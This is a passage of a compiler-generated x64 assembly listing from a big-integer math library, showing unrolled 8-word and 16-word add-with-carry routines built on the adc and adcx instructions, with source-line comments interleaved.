; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; COMDAT _ADD_8WORDS_ADCX
_TEXT SEGMENT
c$ = 8
xp$ = 16
yp$ = 24
zp$ = 32
_ADD_8WORDS_ADCX PROC ; COMDAT
; 3285 : #ifdef _MSC_VER
; 3286 : c = _ADDX_UNIT(c, xp[0], yp[0], &zp[0]);
mov rax, QWORD PTR [rdx]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 245 : return (_addcarryx_u64(carry, u, v, w));
add cl, -1
adcx rax, QWORD PTR [r8]
mov QWORD PTR [r9], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 3287 : c = _ADDX_UNIT(c, xp[1], yp[1], &zp[1]);
mov rax, QWORD PTR [rdx+8]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 245 : return (_addcarryx_u64(carry, u, v, w));
adcx rax, QWORD PTR [r8+8]
mov QWORD PTR [r9+8], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 3288 : c = _ADDX_UNIT(c, xp[2], yp[2], &zp[2]);
mov rax, QWORD PTR [rdx+16]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 245 : return (_addcarryx_u64(carry, u, v, w));
adcx rax, QWORD PTR [r8+16]
mov QWORD PTR [r9+16], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 3289 : c = _ADDX_UNIT(c, xp[3], yp[3], &zp[3]);
mov rax, QWORD PTR [rdx+24]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 245 : return (_addcarryx_u64(carry, u, v, w));
adcx rax, QWORD PTR [r8+24]
mov QWORD PTR [r9+24], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 3290 : c = _ADDX_UNIT(c, xp[4], yp[4], &zp[4]);
mov rax, QWORD PTR [rdx+32]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 245 : return (_addcarryx_u64(carry, u, v, w));
adcx rax, QWORD PTR [r8+32]
mov QWORD PTR [r9+32], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 3291 : c = _ADDX_UNIT(c, xp[5], yp[5], &zp[5]);
mov rax, QWORD PTR [rdx+40]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 245 : return (_addcarryx_u64(carry, u, v, w));
adcx rax, QWORD PTR [r8+40]
mov QWORD PTR [r9+40], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 3292 : c = _ADDX_UNIT(c, xp[6], yp[6], &zp[6]);
mov rax, QWORD PTR [rdx+48]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 245 : return (_addcarryx_u64(carry, u, v, w));
adcx rax, QWORD PTR [r8+48]
mov QWORD PTR [r9+48], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 3293 : c = _ADDX_UNIT(c, xp[7], yp[7], &zp[7]);
mov rcx, QWORD PTR [rdx+56]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 245 : return (_addcarryx_u64(carry, u, v, w));
adcx rcx, QWORD PTR [r8+56]
mov QWORD PTR [r9+56], rcx
setb al
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 3366 : }
ret 0
_ADD_8WORDS_ADCX ENDP
_TEXT ENDS
; Function compile flags: /Ogtpy
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; COMDAT _ADD_8WORDS_ADC
_TEXT SEGMENT
c$ = 8
xp$ = 16
yp$ = 24
zp$ = 32
_ADD_8WORDS_ADC PROC ; COMDAT
; 3200 : #ifdef _MSC_VER
; 3201 : c = _ADD_UNIT(c, xp[0], yp[0], &zp[0]);
mov rax, QWORD PTR [rdx]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
add cl, -1
adc rax, QWORD PTR [r8]
mov QWORD PTR [r9], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 3202 : c = _ADD_UNIT(c, xp[1], yp[1], &zp[1]);
mov rax, QWORD PTR [rdx+8]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r8+8]
mov QWORD PTR [r9+8], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 3203 : c = _ADD_UNIT(c, xp[2], yp[2], &zp[2]);
mov rax, QWORD PTR [rdx+16]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r8+16]
mov QWORD PTR [r9+16], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 3204 : c = _ADD_UNIT(c, xp[3], yp[3], &zp[3]);
mov rax, QWORD PTR [rdx+24]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r8+24]
mov QWORD PTR [r9+24], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 3205 : c = _ADD_UNIT(c, xp[4], yp[4], &zp[4]);
mov rax, QWORD PTR [rdx+32]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r8+32]
mov QWORD PTR [r9+32], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 3206 : c = _ADD_UNIT(c, xp[5], yp[5], &zp[5]);
mov rax, QWORD PTR [rdx+40]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r8+40]
mov QWORD PTR [r9+40], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 3207 : c = _ADD_UNIT(c, xp[6], yp[6], &zp[6]);
mov rax, QWORD PTR [rdx+48]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r8+48]
mov QWORD PTR [r9+48], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 3208 : c = _ADD_UNIT(c, xp[7], yp[7], &zp[7]);
mov rcx, QWORD PTR [rdx+56]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rcx, QWORD PTR [r8+56]
mov QWORD PTR [r9+56], rcx
setb al
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 3281 : }
ret 0
_ADD_8WORDS_ADC ENDP
_TEXT ENDS
; Function compile flags: /Ogtpy
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; COMDAT _ADD_16WORDS_ADCX
_TEXT SEGMENT
c$ = 8
xp$ = 16
yp$ = 24
zp$ = 32
_ADD_16WORDS_ADCX PROC ; COMDAT
; 2213 : #ifdef _MSC_VER
; 2214 : c = _ADDX_UNIT(c, xp[0], yp[0], &zp[0]);
mov rax, QWORD PTR [rdx]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 245 : return (_addcarryx_u64(carry, u, v, w));
add cl, -1
adcx rax, QWORD PTR [r8]
mov QWORD PTR [r9], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 2215 : c = _ADDX_UNIT(c, xp[1], yp[1], &zp[1]);
mov rax, QWORD PTR [rdx+8]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 245 : return (_addcarryx_u64(carry, u, v, w));
adcx rax, QWORD PTR [r8+8]
mov QWORD PTR [r9+8], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 2216 : c = _ADDX_UNIT(c, xp[2], yp[2], &zp[2]);
mov rax, QWORD PTR [rdx+16]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 245 : return (_addcarryx_u64(carry, u, v, w));
adcx rax, QWORD PTR [r8+16]
mov QWORD PTR [r9+16], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 2217 : c = _ADDX_UNIT(c, xp[3], yp[3], &zp[3]);
mov rax, QWORD PTR [rdx+24]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 245 : return (_addcarryx_u64(carry, u, v, w));
adcx rax, QWORD PTR [r8+24]
mov QWORD PTR [r9+24], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 2218 : c = _ADDX_UNIT(c, xp[4], yp[4], &zp[4]);
mov rax, QWORD PTR [rdx+32]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 245 : return (_addcarryx_u64(carry, u, v, w));
adcx rax, QWORD PTR [r8+32]
mov QWORD PTR [r9+32], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 2219 : c = _ADDX_UNIT(c, xp[5], yp[5], &zp[5]);
mov rax, QWORD PTR [rdx+40]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 245 : return (_addcarryx_u64(carry, u, v, w));
adcx rax, QWORD PTR [r8+40]
mov QWORD PTR [r9+40], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 2220 : c = _ADDX_UNIT(c, xp[6], yp[6], &zp[6]);
mov rax, QWORD PTR [rdx+48]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 245 : return (_addcarryx_u64(carry, u, v, w));
adcx rax, QWORD PTR [r8+48]
mov QWORD PTR [r9+48], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 2221 : c = _ADDX_UNIT(c, xp[7], yp[7], &zp[7]);
mov rax, QWORD PTR [rdx+56]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 245 : return (_addcarryx_u64(carry, u, v, w));
adcx rax, QWORD PTR [r8+56]
mov QWORD PTR [r9+56], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 2222 : c = _ADDX_UNIT(c, xp[8], yp[8], &zp[8]);
mov rax, QWORD PTR [rdx+64]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 245 : return (_addcarryx_u64(carry, u, v, w));
adcx rax, QWORD PTR [r8+64]
mov QWORD PTR [r9+64], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 2223 : c = _ADDX_UNIT(c, xp[9], yp[9], &zp[9]);
mov rax, QWORD PTR [rdx+72]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 245 : return (_addcarryx_u64(carry, u, v, w));
adcx rax, QWORD PTR [r8+72]
mov QWORD PTR [r9+72], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 2224 : c = _ADDX_UNIT(c, xp[10], yp[10], &zp[10]);
mov rax, QWORD PTR [rdx+80]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 245 : return (_addcarryx_u64(carry, u, v, w));
adcx rax, QWORD PTR [r8+80]
mov QWORD PTR [r9+80], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 2225 : c = _ADDX_UNIT(c, xp[11], yp[11], &zp[11]);
mov rax, QWORD PTR [rdx+88]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 245 : return (_addcarryx_u64(carry, u, v, w));
adcx rax, QWORD PTR [r8+88]
mov QWORD PTR [r9+88], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 2226 : c = _ADDX_UNIT(c, xp[12], yp[12], &zp[12]);
mov rax, QWORD PTR [rdx+96]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 245 : return (_addcarryx_u64(carry, u, v, w));
adcx rax, QWORD PTR [r8+96]
mov QWORD PTR [r9+96], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 2227 : c = _ADDX_UNIT(c, xp[13], yp[13], &zp[13]);
mov rax, QWORD PTR [rdx+104]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 245 : return (_addcarryx_u64(carry, u, v, w));
adcx rax, QWORD PTR [r8+104]
mov QWORD PTR [r9+104], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 2228 : c = _ADDX_UNIT(c, xp[14], yp[14], &zp[14]);
mov rax, QWORD PTR [rdx+112]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 245 : return (_addcarryx_u64(carry, u, v, w));
adcx rax, QWORD PTR [r8+112]
mov QWORD PTR [r9+112], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 2229 : c = _ADDX_UNIT(c, xp[15], yp[15], &zp[15]);
mov rcx, QWORD PTR [rdx+120]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 245 : return (_addcarryx_u64(carry, u, v, w));
adcx rcx, QWORD PTR [r8+120]
mov QWORD PTR [r9+120], rcx
setb al
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 2350 : }
ret 0
_ADD_16WORDS_ADCX ENDP
_TEXT ENDS
; Function compile flags: /Ogtpy
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; COMDAT _ADD_16WORDS_ADC
_TEXT SEGMENT
c$ = 8
xp$ = 16
yp$ = 24
zp$ = 32
_ADD_16WORDS_ADC PROC ; COMDAT
; 2072 : #ifdef _MSC_VER
; 2073 : c = _ADD_UNIT(c, xp[0], yp[0], &zp[0]);
mov rax, QWORD PTR [rdx]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
add cl, -1
adc rax, QWORD PTR [r8]
mov QWORD PTR [r9], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 2074 : c = _ADD_UNIT(c, xp[1], yp[1], &zp[1]);
mov rax, QWORD PTR [rdx+8]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r8+8]
mov QWORD PTR [r9+8], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 2075 : c = _ADD_UNIT(c, xp[2], yp[2], &zp[2]);
mov rax, QWORD PTR [rdx+16]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r8+16]
mov QWORD PTR [r9+16], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 2076 : c = _ADD_UNIT(c, xp[3], yp[3], &zp[3]);
mov rax, QWORD PTR [rdx+24]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r8+24]
mov QWORD PTR [r9+24], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 2077 : c = _ADD_UNIT(c, xp[4], yp[4], &zp[4]);
mov rax, QWORD PTR [rdx+32]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r8+32]
mov QWORD PTR [r9+32], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 2078 : c = _ADD_UNIT(c, xp[5], yp[5], &zp[5]);
mov rax, QWORD PTR [rdx+40]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 217 : return (_addcarry_u64(carry, u, v, w));
adc rax, QWORD PTR [r8+40]
mov QWORD PTR [r9+40], rax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\autogenerated_inline_func.h
; 2079 : c = _ADD_UNIT(c, xp[6], yp[6], &zp[6]);
mov rax, QWORD PTR [rdx+48]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
